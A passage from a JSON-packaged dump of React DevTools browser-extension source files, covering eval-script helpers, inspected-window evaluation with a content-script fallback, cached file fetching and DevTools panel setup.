evalRequestCallbacks.get(requestId);\n    try {\n      if (!callback)\n        throw new Error(\n          `No eval request callback for id \"${requestId}\" exists.`,\n        );\n      callback(response);\n    } catch (e) {\n      console.warn(\n        'React DevTools Content Script eval response error occurred:',\n        e,\n      );\n    } finally {\n      evalRequestCallbacks.delete(requestId);\n    }\n  }\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/reactBuildType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {ReactBuildType} from 'react-devtools-shared/src/backend/types';\n\nfunction reduceReactBuild(\n  currentReactBuildType: null | ReactBuildType,\n  nextReactBuildType: ReactBuildType,\n): ReactBuildType {\n  if (\n    currentReactBuildType === null ||\n    currentReactBuildType === 'production'\n  ) {\n    return nextReactBuildType;\n  }\n\n  // We only display the \"worst\" build type, so if we've already detected a non-production build,\n  // we ignore any future production builds. This way if a page has multiple renderers,\n  // and at least one of them is a non-production build, we'll display that instead of \"production\".\n  return nextReactBuildType === 'production'\n    ? currentReactBuildType\n    : nextReactBuildType;\n}\n\nexport function createReactRendererListener(target: {\n  postMessage: Function,\n  ...\n}): ({reactBuildType: ReactBuildType}) => void {\n  let displayedReactBuild: null | ReactBuildType = null;\n\n  return function ({reactBuildType}) {\n    displayedReactBuild = reduceReactBuild(displayedReactBuild, reactBuildType);\n\n    target.postMessage(\n      {\n        source: 'react-devtools-hook',\n        payload: {\n          type: 'react-renderer-attached',\n          reactBuildType: displayedReactBuild,\n        },\n      },\n      '*',\n    );\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/evalScripts.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type EvalScriptIds =\n  | 'checkIfReactPresentInInspectedWindow'\n  | 'reload'\n  | 'setBrowserSelectionFromReact'\n  | 'setReactSelectionFromBrowser'\n  | 'viewAttributeSource'\n  | 'viewElementSource';\n\n/*\n .fn for fallback in Content Script context\n .code for chrome.devtools.inspectedWindow.eval()\n*/\ntype EvalScriptEntry = {\n  fn: (...args: any[]) => any,\n  code: (...args: any[]) => string,\n};\n\n/*\n  Can not access `Developer Tools Console API` (e.g., inspect(), $0) in this context.\n  So some fallback functions are no-op or throw error.\n*/\nexport const evalScripts: {[key: EvalScriptIds]: EvalScriptEntry} = {\n  checkIfReactPresentInInspectedWindow: {\n    fn: () =>\n      window.__REACT_DEVTOOLS_GLOBAL_HOOK__ &&\n      window.__REACT_DEVTOOLS_GLOBAL_HOOK__.renderers.size > 0,\n    code: () =>\n      'window.__REACT_DEVTOOLS_GLOBAL_HOOK__ &&' +\n      'window.__REACT_DEVTOOLS_GLOBAL_HOOK__.renderers.size > 0',\n  },\n  reload: {\n    fn: () => window.location.reload(),\n    code: () => 'window.location.reload();',\n  },\n  setBrowserSelectionFromReact: {\n    fn: () => {\n      throw new Error('Not supported in fallback eval context');\n    },\n    code: () =>\n      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 !== $0) ?' +\n      '(inspect(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0), true) :' +\n      'false',\n  },\n  setReactSelectionFromBrowser: {\n    fn: () => {\n      throw new Error('Not supported in fallback eval context');\n    },\n    code: () =>\n      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__ && window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 !== $0) ?' +\n      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 = $0, true) :' +\n      'false',\n  },\n  viewAttributeSource: {\n    fn: ({rendererID, elementID, path}) => {\n      return false; // Not supported in fallback eval context\n    },\n    code: ({rendererID, elementID, path}) =>\n      '{' + // The outer block is important because it means we can declare local variables.\n      'const renderer = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.get(' +\n      JSON.stringify(rendererID) +\n      ');' +\n      'if (renderer) {' +\n      '  const value = renderer.getElementAttributeByPath(' +\n      JSON.stringify(elementID) +\n      ',' +\n      JSON.stringify(path) +\n      ');' +\n      '  if (value) {' +\n      '    inspect(value);' +\n      '    true;' +\n      '  } else {' +\n      '    false;' +\n      '  }' +\n      '} else {' +\n      '  false;' +\n      '}' +\n      '}',\n  },\n  viewElementSource: {\n    fn: ({rendererID, elementID}) => {\n      return false; // Not supported in fallback eval context\n    },\n    code: ({rendererID, elementID}) =>\n      '{' + // The outer block is important because it means we can declare local variables.\n      'const renderer = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.get(' +\n      JSON.stringify(rendererID) +\n      ');' +\n      'if (renderer) {' +\n      '  const value = renderer.getElementSourceFunctionById(' +\n      JSON.stringify(elementID) +\n      ');' +\n      '  if (value) {' +\n      '    inspect(value);' +\n      '    true;' +\n      '  } else {' +\n      '    false;' +\n      '  }' +\n      '} else {' +\n      '  false;' +\n      '}' +\n      '}',\n  },\n};\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/cloneStyleTags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function cloneStyleTags(): Array<HTMLLinkElement | HTMLStyleElement> {\n  const tags: Array<HTMLLinkElement | HTMLStyleElement> = [];\n\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const linkTag of document.getElementsByTagName('link')) {\n    if (linkTag.rel === 'stylesheet') {\n      const newLinkTag = document.createElement('link');\n\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const attribute of linkTag.attributes) {\n        newLinkTag.setAttribute(attribute.nodeName, attribute.nodeValue);\n      }\n\n      tags.push(newLinkTag);\n    }\n  }\n\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const styleTag of document.getElementsByTagName('style')) {\n    const newStyleTag = document.createElement('style');\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const attribute of styleTag.attributes) {\n      newStyleTag.setAttribute(attribute.nodeName, attribute.nodeValue);\n    }\n\n    newStyleTag.textContent = styleTag.textContent;\n\n    tags.push(newStyleTag);\n  }\n\n  return tags;\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/debounce.js",
    "content": "function debounce(fn, timeout) {\n  let executionTimeoutId = null;\n\n  return (...args) => {\n    clearTimeout(executionTimeoutId);\n    executionTimeoutId = setTimeout(fn, timeout, ...args);\n  };\n}\n\nexport default debounce;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/elementSelection.js",
    "content": "import {evalInInspectedWindow} from './evalInInspectedWindow';\n\nexport function setBrowserSelectionFromReact() {\n  // This is currently only called on demand when you press \"view DOM\".\n  // In the future, if Chrome adds an inspect() that doesn't switch tabs,\n  // we could make this happen automatically when you select another component.\n  evalInInspectedWindow(\n    'setBrowserSelectionFromReact',\n    [],\n    (didSelectionChange, evalError) => {\n      if (evalError) {\n        console.error(evalError);\n      }\n    },\n  );\n}\n\nexport function setReactSelectionFromBrowser(bridge) {\n  // When the user chooses a different node in the browser Elements tab,\n  // copy it over to the hook object so that we can sync the selection.\n  evalInInspectedWindow(\n    'setReactSelectionFromBrowser',\n    [],\n    (didSelectionChange, evalError) => {\n      if (evalError) {\n        console.error(evalError);\n      } else if (didSelectionChange) {\n        if (!bridge) {\n          console.error(\n            'Browser element selection changed, but bridge was not initialized',\n          );\n          return;\n        }\n\n        // Remember to sync the selection next time we show inspected element\n        bridge.send('syncSelectionFromBuiltinElementsPanel');\n      }\n    },\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/evalInInspectedWindow.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {EvalScriptIds} from '../evalScripts';\n\nimport {evalScripts} from '../evalScripts';\n\ntype ExceptionInfo = {\n  code: ?string,\n  description: ?string,\n  isError: boolean,\n  isException: boolean,\n  value: any,\n};\n\nconst EVAL_TIMEOUT = 1000 * 10;\n\nlet evalRequestId = 0;\nconst evalRequestCallbacks = new Map<\n  number,\n  (value: {result: any, error: any}) => void,\n>();\n\nfunction fallbackEvalInInspectedWindow(\n  scriptId: EvalScriptIds,\n  args: any[],\n  callback: (value: any, exceptionInfo: ?ExceptionInfo) => void,\n) {\n  if (!evalScripts[scriptId]) {\n    throw new Error(`No eval script with id \"${scriptId}\" exists.`);\n  }\n  const code = evalScripts[scriptId].code.apply(null, args);\n  const tabId = chrome.devtools.inspectedWindow.tabId;\n  const requestId = evalRequestId++;\n  chrome.runtime.sendMessage({\n    source: 'devtools-page',\n    payload: {\n      type: 'eval-in-inspected-window',\n      tabId,\n      requestId,\n      scriptId,\n      args,\n    },\n  });\n  const timeout = setTimeout(() => {\n    evalRequestCallbacks.delete(requestId);\n    if (callback) {\n      callback(null, {\n        code,\n        description:\n          'Timed out while waiting for eval response from the inspected window.',\n        isError: true,\n        isException: false,\n        value: undefined,\n      });\n    }\n  }, EVAL_TIMEOUT);\n  evalRequestCallbacks.set(requestId, ({result, error}) => {\n    clearTimeout(timeout);\n    evalRequestCallbacks.delete(requestId);\n    if (callback) {\n      if (error) {\n        callback(null, {\n          code,\n          description: undefined,\n          isError: false,\n          isException: true,\n          value: error,\n        });\n        return;\n      }\n      callback(result, null);\n    }\n  });\n}\n\nexport function evalInInspectedWindow(\n  scriptId: EvalScriptIds,\n  args: any[],\n  callback: (value: any, exceptionInfo: ?ExceptionInfo) => void,\n) {\n  if (!evalScripts[scriptId]) {\n    throw new Error(`No eval script with id \"${scriptId}\" exists.`);\n  }\n  const code = evalScripts[scriptId].code.apply(null, args);\n  chrome.devtools.inspectedWindow.eval(code, (result, exceptionInfo) => {\n    if (!exceptionInfo) {\n      callback(result, exceptionInfo);\n      return;\n    }\n    // If an exception (e.g. CSP Blocked) occurred,\n    // fallback to the content script eval context\n    fallbackEvalInInspectedWindow(scriptId, args, callback);\n  });\n}\n\nchrome.runtime.onMessage.addListener(({payload, source}) => {\n  if (source === 'react-devtools-background') {\n    switch (payload?.type) {\n      case 'eval-in-inspected-window-response': {\n        const {requestId, result, error} = payload;\n        const callback = evalRequestCallbacks.get(requestId);\n        if (callback) {\n          callback({result, error});\n        }\n        break;\n      }\n    }\n  }\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/fetchFileWithCaching.js",
    "content": "/* global chrome */\n\nimport {normalizeUrlIfValid} from 'react-devtools-shared/src/utils';\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\n\nlet debugIDCounter = 0;\n\nconst debugLog = (...args) => {\n  if (__DEBUG__) {\n    console.log(...args);\n  }\n};\n\nconst fetchFromNetworkCache = (url, resolve, reject) => {\n  // Debug ID allows us to avoid re-logging (potentially long) URL strings below,\n  // while also still associating (potentially) interleaved logs with the original request.\n  let debugID = null;\n\n  if (__DEBUG__) {\n    debugID = debugIDCounter++;\n    debugLog(`[main] fetchFromNetworkCache(${debugID})`, url);\n  }\n\n  chrome.devtools.network.getHAR(harLog => {\n    for (let i = 0; i < harLog.entries.length; i++) {\n      const entry = harLog.entries[i];\n      if (url !== entry.request.url) {\n        continue;\n      }\n\n      debugLog(\n        `[main] fetchFromNetworkCache(${debugID}) Found matching URL in HAR`,\n        url,\n      );\n\n      if (entry.getContent != null) {\n        entry.getContent(content => {\n          if (content) {\n            debugLog(\n              `[main] fetchFromNetworkCache(${debugID}) Content retrieved`,\n            );\n\n            resolve(content);\n          } else {\n            debugLog(\n              `[main] fetchFromNetworkCache(${debugID}) Invalid content returned by getContent()`,\n              content,\n            );\n\n            // Edge case where getContent() returned null; fall back to fetch.\n            fetchFromPage(url, resolve, reject);\n          }\n        });\n      } else {\n        const content = entry.response.content.text;\n\n        if (content != null) {\n          debugLog(\n            `[main] fetchFromNetworkCache(${debugID}) Content retrieved`,\n          );\n          resolve(content);\n        } else {\n          debugLog(\n            `[main] fetchFromNetworkCache(${debugID}) Invalid content returned from entry.response.content`,\n            content,\n          );\n          fetchFromPage(url, resolve, reject);\n        }\n      }\n    }\n\n    debugLog(\n      `[main] fetchFromNetworkCache(${debugID}) No cached request found in getHAR()`,\n    );\n\n    // No matching URL found; fall back to fetch.\n    fetchFromPage(url, resolve, reject);\n  });\n};\n\nconst pendingFetchRequests = new Set();\nfunction pendingFetchRequestsCleanup({payload, source}) {\n  if (source === 'react-devtools-background') {\n    switch (payload?.type) {\n      case 'fetch-file-with-cache-complete':\n      case 'fetch-file-with-cache-error':\n        pendingFetchRequests.delete(payload.url);\n    }\n  }\n}\nchrome.runtime.onMessage.addListener(pendingFetchRequestsCleanup);\n\nconst fetchFromPage = async (url, resolve, reject) => {\n  debugLog('[main] fetchFromPage()', url);\n\n  function onPortMessage({payload, source}) {\n    if (source === 'react-devtools-background' && payload?.url === url) {\n      switch (payload?.type) {\n        case 'fetch-file-with-cache-complete':\n          chrome.runtime.onMessage.removeListener(onPortMessage);\n          resolve(payload.value);\n          break;\n        case 'fetch-file-with-cache-error':\n          chrome.runtime.onMessage.removeListener(onPortMessage);\n          reject(payload.value);\n          break;\n      }\n    }\n  }\n\n  chrome.runtime.onMessage.addListener(onPortMessage);\n  if (pendingFetchRequests.has(url)) {\n    return;\n  }\n\n  pendingFetchRequests.add(url);\n  chrome.runtime.sendMessage({\n    source: 'devtools-page',\n    payload: {\n      type: 'fetch-file-with-cache',\n      tabId: chrome.devtools.inspectedWindow.tabId,\n      url,\n    },\n  });\n};\n\n// 1. Check if resource is available via chrome.devtools.inspectedWindow.getResources\n// 2. Check if resource was loaded previously and available in network cache via chrome.devtools.network.getHAR\n// 3. Fallback to fetching directly from the page context (from backend)\nasync function fetchFileWithCaching(url: string): Promise<string> {\n  if (__IS_CHROME__ || __IS_EDGE__) {\n    const resources = await new Promise(resolve =>\n      chrome.devtools.inspectedWindow.getResources(r => resolve(r)),\n    );\n\n    const normalizedReferenceURL = normalizeUrlIfValid(url);\n    const resource = resources.find(r => r.url === normalizedReferenceURL);\n\n    if (resource != null) {\n      const content = await new Promise(resolve =>\n        resource.getContent(fetchedContent => resolve(fetchedContent)),\n      );\n\n      if (content) {\n        return content;\n      }\n    }\n  }\n\n  return new Promise((resolve, reject) => {\n    // Try fetching from the Network cache first.\n    // If DevTools was opened after the page started loading, we may have missed some requests.\n    // So fall back to a fetch() from the page and hope we get a cached response that way.\n    fetchFromNetworkCache(url, resolve, reject);\n  });\n}\n\nexport default fetchFileWithCaching;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/getProfilingFlags.js",
    "content": "import {\n  localStorageGetItem,\n  localStorageRemoveItem,\n} from 'react-devtools-shared/src/storage';\nimport {LOCAL_STORAGE_SUPPORTS_PROFILING_KEY} from 'react-devtools-shared/src/constants';\n\nfunction getProfilingFlags() {\n  // This flag lets us tip the Store off early that we expect to be profiling.\n  // This avoids flashing a temporary \"Profiling not supported\" message in the Profiler tab,\n  // after a user has clicked the \"reload and profile\" button.\n  let isProfiling = false;\n\n  if (localStorageGetItem(LOCAL_STORAGE_SUPPORTS_PROFILING_KEY) === 'true') {\n    isProfiling = true;\n    localStorageRemoveItem(LOCAL_STORAGE_SUPPORTS_PROFILING_KEY);\n  }\n\n  return {isProfiling};\n}\n\nexport default getProfilingFlags;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/index.js",
    "content": "/* global chrome, ExtensionRuntimePort */\n/** @flow */\n\nimport type {RootType} from 'react-dom/src/client/ReactDOMRoot';\nimport type {FrontendBridge, Message} from 'react-devtools-shared/src/bridge';\nimport type {\n  TabID,\n  ViewElementSource,\n} from 'react-devtools-shared/src/devtools/views/DevTools';\nimport type {SourceSelection} from 'react-devtools-shared/src/devtools/views/Editor/EditorPane';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\n\nimport {createElement} from 'react';\nimport {flushSync} from 'react-dom';\nimport {createRoot} from 'react-dom/client';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport {getBrowserTheme} from '../utils';\nimport {\n  localStorageGetItem,\n  localStorageSetItem,\n} from 'react-devtools-shared/src/storage';\nimport DevTools from 'react-devtools-shared/src/devtools/views/DevTools';\nimport {\n  LOCAL_STORAGE_SUPPORTS_PROFILING_KEY,\n  LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY,\n} from 'react-devtools-shared/src/constants';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\nimport {\n  getAlwaysOpenInEditor,\n  getOpenInEditorURL,\n  normalizeUrlIfValid,\n} from 'react-devtools-shared/src/utils';\nimport {checkConditions} from 'react-devtools-shared/src/devtools/views/Editor/utils';\nimport * as parseHookNames from 'react-devtools-shared/src/hooks/parseHookNames';\n\nimport {\n  setBrowserSelectionFromReact,\n  setReactSelectionFromBrowser,\n} from './elementSelection';\nimport {viewAttributeSource} from './sourceSelection';\n\nimport {evalInInspectedWindow} from './evalInInspectedWindow';\nimport {startReactPolling} from './reactPolling';\nimport {cloneStyleTags} from './cloneStyleTags';\nimport fetchFileWithCaching from './fetchFileWithCaching';\nimport injectBackendManager from './injectBackendManager';\nimport registerEventsLogger from './registerEventsLogger';\nimport getProfilingFlags from './getProfilingFlags';\nimport debounce from './debounce';\nimport './requestAnimationFramePolyfill';\n\nconst resolvedParseHookNames = Promise.resolve(parseHookNames);\n// DevTools assumes this is a dynamically imported module. Since we outline\n// workers in this bundle, we can sync require the module since it's just a thin\n// wrapper around calling the worker.\nconst hookNamesModuleLoaderFunction = () => resolvedParseHookNames;\n\nfunction createBridge() {\n  bridge = new Bridge({\n    listen(fn) {\n      const bridgeListener = (message: Message) => fn(message);\n      // Store the reference so that we unsubscribe from the same object.\n      const portOnMessage = port.onMessage;\n      portOnMessage.addListener(bridgeListener);\n\n      lastSubscribedBridgeListener = bridgeListener;\n\n      return () => {\n        port?.onMessage.removeListener(bridgeListener);\n        lastSubscribedBridgeListener = null;\n      };\n    },\n\n    send(event: string, payload: any, transferable?: Array<any>) {\n      port?.postMessage({event, payload}, transferable);\n    },\n  });\n\n  bridge.addListener('reloadAppForProfiling', () => {\n    localStorageSetItem(LOCAL_STORAGE_SUPPORTS_PROFILING_KEY, 'true');\n    evalInInspectedWindow('reload', [], () => {});\n  });\n\n  bridge.addListener(\n    'syncSelectionToBuiltinElementsPanel',\n    setBrowserSelectionFromReact,\n  );\n\n  bridge.addListener('extensionBackendInitialized', () => {\n    // Initialize the renderer's trace-updates setting.\n    // This handles the case of navigating to a new page after the DevTools have already been shown.\n    bridge.send(\n      'setTraceUpdatesEnabled',\n      localStorageGetItem(LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY) === 'true',\n    );\n  });\n\n  const sourcesPanel = chrome.devtools.panels.sources;\n\n  const onBrowserElementSelectionChanged = () =>\n    setReactSelectionFromBrowser(bridge);\n  const onBrowserSourceSelectionChanged = (location: {\n    url: string,\n    startLine: number,\n    startColumn: number,\n    endLine: number,\n    endColumn: number,\n  }) => {\n    if (\n      currentSelectedSource === null ||\n      currentSelectedSource.url !== location.url\n    ) {\n      currentSelectedSource = {\n        url: location.url,\n        selectionRef: {\n          // We use 1-based line and column, Chrome provides them 0-based.\n          line: location.startLine + 1,\n          column: location.startColumn + 1,\n        },\n      };\n      // Rerender with the new file selection.\n      render();\n    } else {\n      // Update the ref to the latest position without updating the url. No need to rerender.\n      const selectionRef = currentSelectedSource.selectionRef;\n      selectionRef.line = location.startLine + 1;\n      selectionRef.column = location.startColumn + 1;\n    }\n  };\n  const onBridgeShutdown = () => {\n    chrome.devtools.panels.elements.onSelectionChanged.removeListener(\n      onBrowserElementSelectionChanged,\n    );\n    if (sourcesPanel && sourcesPanel.onSelectionChanged) {\n      currentSelectedSource = null;\n      sourcesPanel.onSelectionChanged.removeListener(\n        onBrowserSourceSelectionChanged,\n      );\n    }\n  };\n\n  bridge.addListener('shutdown', onBridgeShutdown);\n\n  chrome.devtools.panels.elements.onSelectionChanged.addListener(\n    onBrowserElementSelectionChanged,\n  );\n  if (sourcesPanel && sourcesPanel.onSelectionChanged) {\n    sourcesPanel.onSelectionChanged.addListener(\n      onBrowserSourceSelectionChanged,\n    );\n  }\n}\n\nfunction createBridgeAndStore() {\n  createBridge();\n\n  const {isProfiling} = getProfilingFlags();\n\n  store = new Store(bridge, {\n    isProfiling,\n    supportsReloadAndProfile: __IS_CHROME__ || __IS_EDGE__,\n    // At this time, the timeline can only parse Chrome performance profiles.\n    supportsTimeline: __IS_CHROME__,\n    supportsTraceUpdates: true,\n    supportsInspectMatchingDOMElement: true,\n    supportsClickToInspect: true,\n  });\n\n  store.addListener('settingsUpdated', (hookSettings, componentFilters) => {\n    chrome.storage.local.set({...hookSettings, componentFilters});\n  });\n\n  if (!isProfiling) {\n    // We previously stored this in performCleanup function\n    store.profilerStore.profilingData = profilingData;\n  }\n\n  // Initialize the backend only once the Store has been initialized.\n  // Otherwise, the Store may miss important initial tree op codes.\n  injectBackendManager(chrome.devtools.inspectedWindow.tabId);\n\n  const viewAttributeSourceFunction = (\n    id: Element['id'],\n    path: Array<string | number>,\n  ) => {\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID != null) {\n      viewAttributeSource(rendererID, id, path);\n    }\n  };\n\n  const viewElementSourceFunction: ViewElementSource = (\n    source,\n    symbolicatedSource,\n  ) => {\n    const [, sourceURL, line, column] = symbolicatedSource\n      ? symbolicatedSource\n      : source;\n\n    // We use 1-based line and column, Chrome expects them 0-based.\n    chrome.devtools.panels.openResource(\n      normalizeUrlIfValid(sourceURL),\n      line - 1,\n      column - 1,\n    );\n  };\n\n  root = createRoot(document.createElement('div'));\n\n  render = (overrideTab: TabID | null = mostRecentOverrideTab) => {\n    mostRecentOverrideTab = overrideTab;\n\n    root.render(\n      createElement(DevTools, {\n        bridge,\n        browserTheme: getBrowserTheme(),\n        componentsPortalContainer,\n        inspectedElementPortalContainer,\n        profilerPortalContainer,\n        editorPortalContainer,\n        currentSelectedSource,\n        enabledInspectedElementContextMenu: true,\n        fetchFileWithCaching,\n        hookNamesModuleLoaderFunction,\n        overrideTab,\n        showTabBar: false,\n        store,\n        suspensePortalContainer,\n        warnIfUnsupportedVersionDetected: true,\n        viewAttributeSourceFunction,\n        // Firefox doesn't support chrome.devtools.panels.openResource yet\n        canViewElementSourceFunction: () => __IS_CHROME__ || __IS_EDGE__,\n        viewElementSourceFunction,\n      }),\n    );\n  };\n}\n\nfunction ensureInitialHTMLIsCleared(\n  container: HTMLElement & {_hasInitialHTMLBeenCleared?: boolean},\n) {\n  if (container._hasInitialHTMLBeenCleared) {\n    return;\n  }\n\n  container.innerHTML = '';\n  container._hasInitialHTMLBeenCleared = true;\n}\n\nfunction createComponentsPanel() {\n  if (componentsPortalContainer) {\n    // Panel is created and user opened it at least once\n    ensureInitialHTMLIsCleared(componentsPortalContainer);\n    render('components');\n\n    return;\n  }\n\n  if (componentsPanel) {\n    // Panel is created, but wasn't opened yet, so no document is present for it\n    return;\n  }\n\n  chrome.devtools.panels.create(\n    __IS_CHROME__ || __IS_EDGE__ ? 'Components ⚛' : 'Components',\n    __IS_EDGE__ ? 'icons/production.svg' : '',\n    'panel.html',\n    createdPanel => {\n      componentsPanel = createdPanel;\n\n      createdPanel.onShown.addListener(portal => {\n        componentsPortalContainer = portal.container;\n        if (componentsPortalContainer != null && render) {\n          ensureInitialHTMLIsCleared(componentsPortalContainer);\n\n          render('components');\n          portal.injectStyles(cloneStyleTags);\n\n          logEvent({event_name: 'selected-components-tab'});\n        }\n      });\n\n      createdPanel.onShown.addListener(() => {\n        bridge.emit('extensionComponentsPanelShown');\n      });\n      createdPanel.onHidden.addListener(() => {\n        bridge.emit('extensionComponentsPanelHidden');\n      });\n    },\n  );\n}\n\nfunction createElementsInspectPanel() {\n  if (inspectedElementPortalContainer) {\n    // Panel is created and user opened it at least once\n    ensureInitialHTMLIsCleared(inspectedElementPortalContainer);\n    render();\n\n    return;\n  }\n\n  if (inspectedElementPane) {\n    // Panel is created, but wasn't opened yet, so no document is present for it\n    return;\n  }\n\n  const elementsPanel = chrome.devtools.panels.elements;\n  if (__IS_FIREFOX__ || !elementsPanel || !elementsPanel.createSidebarPane) {\n    // Firefox will not pass the window to the onShown listener despite setPage\n    // being called.\n    // See https://bugzilla.mozilla.org/show_bug.cgi?id=2010549\n\n    // May not be supported in some browsers.\n    // See https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/panels/ElementsPanel/createSidebarPane#browser_compatibility\n    return;\n  }\n\n  elementsPanel.createSidebarPane('React Element ⚛', createdPane => {\n    inspectedElementPane = createdPane;\n\n    createdPane.setPage('panel.html');\n    createdPane.setHeight('75px');\n\n    createdPane.onShown.addListener(portal => {\n      inspectedElementPortalContainer = portal.container;\n      if (inspectedElementPortalContainer != null && render) {\n        ensureInitialHTMLIsCleared(inspectedElementPortalContainer);\n        bridge.send('syncSelectionFromBuiltinElementsPanel');\n\n        render();\n        portal.injectStyles(cloneStyleTags);\n\n        logEvent({event_name: 'selected-inspected-element-pane'});\n      }\n    });\n  });\n}\n\nfunction createProfilerPanel() {\n  if (profilerPortalContainer) {\n    // Panel is created and user opened it at least once\n    ensureInitialHTMLIsCleared(profilerPortalContainer);\n    render('profiler');\n\n    return;\n  }\n\n  if (profilerPanel) {\n    // Panel is created, but wasn't opened yet, so no document is present for it\n    return;\n  }\n\n  chrome.devtools.panels.create(\n    __IS_CHROME__ || __IS_EDGE__ ? 'Profiler ⚛' : 'Profiler',\n    __IS_EDGE__ ? 'icons/production.svg' : '',\n    'panel.html',\n    createdPanel => {\n      profilerPanel = createdPanel;\n\n      createdPanel.onShown.addListener(portal => {\n        profilerPortalContainer = portal.container;\n        if (profilerPortalContainer != null && render) {\n          ensureInitialHTMLIsCleared(profilerPortalContainer);\n\n          render('profiler');\n          portal.injectStyles(cloneStyleTags);\n\n          logEvent({event_name: 'selected-profiler-tab'});\n        }\n      });\n    },\n  );\n}\n\nfunction createSourcesEditorPanel() {\n  if (editorPortalContainer) {\n    // Panel is created and user opened it at least once\n    ensureInitialHTMLIsCleared(editorPortalContainer);\n    render();\n\n    return;\n  }\n\n  if (editorPane) {\n    // Panel is created, but wasn't opened yet, so no document is present for it\n    return;\n  }\n\n  const sourcesPanel = chrome.devtools.panels.sources;\n  if (!sourcesPanel || !sourcesPanel.createSidebarPane) {\n    // Firefox doesn't currently support extending the source panel.\n    return;\n  }\n\n  sourcesPanel.createSidebarPane('Code Editor ⚛', createdPane => {\n    editorPane = createdPane;\n\n    createdPane.setPage('panel.html');\n    createdPane.setHeight('75px');\n\n    createdPane.onShown.addListener(portal => {\n      editorPortalContainer = portal.container;\n      if (editorPortalContainer != null && render) {\n        ensureInitialHTMLIsCleared(editorPortalContainer);\n\n        render();\n        portal.injectStyles(cloneStyleTags);\n\n        logEvent({event_name: 'selected-editor-pane'});\n      }\n    });\n  });\n}\n\nfunction createSuspensePanel() {\n  if (suspensePortalContainer) {\n    // Panel is created and user opened it at least once\n    ensureInitialHTMLIsCleared(suspensePortalContainer);\n    render('suspense');\n\n    return;\n  }\n\n  if (suspensePanel) {\n    // Panel is created, but wasn't opened yet, so no document is present for it\n    return;\n  }\n\n  chrome.devtools.panels.create(\n    __IS_CHROME__ || __IS_EDGE__ ? 'Suspense ⚛' : 'Suspense',\n    __IS_EDGE__ ? 'icons/production.svg' : '',\n    'panel.html',\n    createdPanel => {\n      suspensePanel = createdPanel;\n\n      createdPanel.onShown.addListener(portal => {\n        suspensePortalContainer = portal.container;\n        if (suspensePortalContainer != null && render) {\n          ensureInitialHTMLIsCleared(suspensePortalContainer);\n\n          render('suspense');\n          portal.injectStyles(cloneStyleTags);\n\n          logEvent({event_name: 'selected-suspense-tab'});\n        }\n      });\n    },\n  );\n}\n\nfunction performInTabNavigationCleanup() {\n  // Potentially, if react hasn't loaded yet and user performs in-tab navigation\n  clearReactPollingInstance();\n\n  if (store !== null) {\n    // Store profiling data, so it can be used later\n    profilingData = store.profilerStore.profilingData;\n  }\n\n  // If panels were already created, and we have already mounted React root to display\n  // tabs (Components or Profiler), we should unmount root first and render them again\n  if (\n    (componentsPortalContainer ||\n      profilerPortalContainer ||\n      suspensePortalContainer) &&\n    root\n  ) {\n    // It's easiest to recreate the DevTools panel (to clean up potential stale state).\n    // We can revisit this in the future as a small optimization.\n    // This should also emit bridge.shutdown, but only if this root was mounted\n    flushSync(() => root.unmount());\n  } else {\n    // In case Browser DevTools were opened, but user never pressed on extension panels\n    // They were never mounted and there is nothing to unmount, but we need to emit shutdown event\n    // because bridge was already created\n    bridge?.shutdown();\n  }\n\n  // Do not nullify componentsPanelPortal and profilerPanelPortal on purpose,\n  // They are not recreated when user does in-tab navigation, and they can only be accessed via\n  // callback in onShown listener, which is called only when panel has been shown\n  // This event won't be emitted again after in-tab navigation, if DevTools panel keeps being opened\n\n  // Do not clean mostRecentOverrideTab on purpose, so we remember last opened\n  // React DevTools tab, when user does in-tab navigation\n\n  store = (null: $FlowFixMe);\n  bridge = (null: $FlowFixMe);\n  render = (null: $FlowFixMe);\n  root = (null: $FlowFixMe);\n}\n\nfunction performFullCleanup() {\n  // Potentially, if react hasn't loaded yet and user closed the browser DevTools\n  clearReactPollingInstance();\n\n  if (\n    (componentsPortalContainer ||\n      profilerPortalContainer ||\n      suspensePortalContainer) &&\n    root\n  ) {\n    // This should also emit bridge.shutdown, but only if this root was mounted\n    flushSync(() => 